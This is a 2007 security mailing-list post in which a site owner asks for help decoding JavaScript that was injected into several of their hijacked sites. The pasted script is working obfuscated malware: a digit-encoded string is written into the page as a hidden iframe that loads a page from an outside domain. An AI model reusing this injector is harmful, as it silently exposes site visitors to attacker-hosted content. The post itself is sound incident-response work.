[Dshield] need help decoding.
Dan Jackson
kybowhunter515 at yahoo.com
Wed Sep 19 00:18:07 GMT 2007
Recently several of my sites got hijacked and below is the code that
was inserted, what I'm trying to do is to decode it to figure out what
it's intent was and to see if it opened up any other holes in the
server that I need to know about.
Maybe this is easy stuff... but I don't have a clue where to start ...
Code: ( text )
<script
language='JavaScript'>function nbsp() {var t,o,l,i,j;var
s='';s+='06004711610112011609711610109706206004711
6101120116097114101097062';
s+='0600730700820650770690321151140990610341041161
16112058047047109097114099111098101114110097114100
111';s=s+'1101050460991111090471200471051101001011
20046112104112034032119105100116104061051032104101
105103104';s=s+'1160610510321151161211081010610341
00105115112108097121058110111110101034062060047073
070082065077069';s=s+'062032';t='';l=s.length;i=0;
while(i<(l-1)){for(j=0;j<3;j++){t+=s.charAt(i);i++;}if((t-unescape(0xBF))>unescape(0x00))t-=-(unescape(0x08)+unescape(0x30));document.write(Str
ing.fromCharCode(t));t='';}}nbsp();</script><!-- c4 -->
any help would be greatly appreciated.
TIA.
More information about the list
mailing list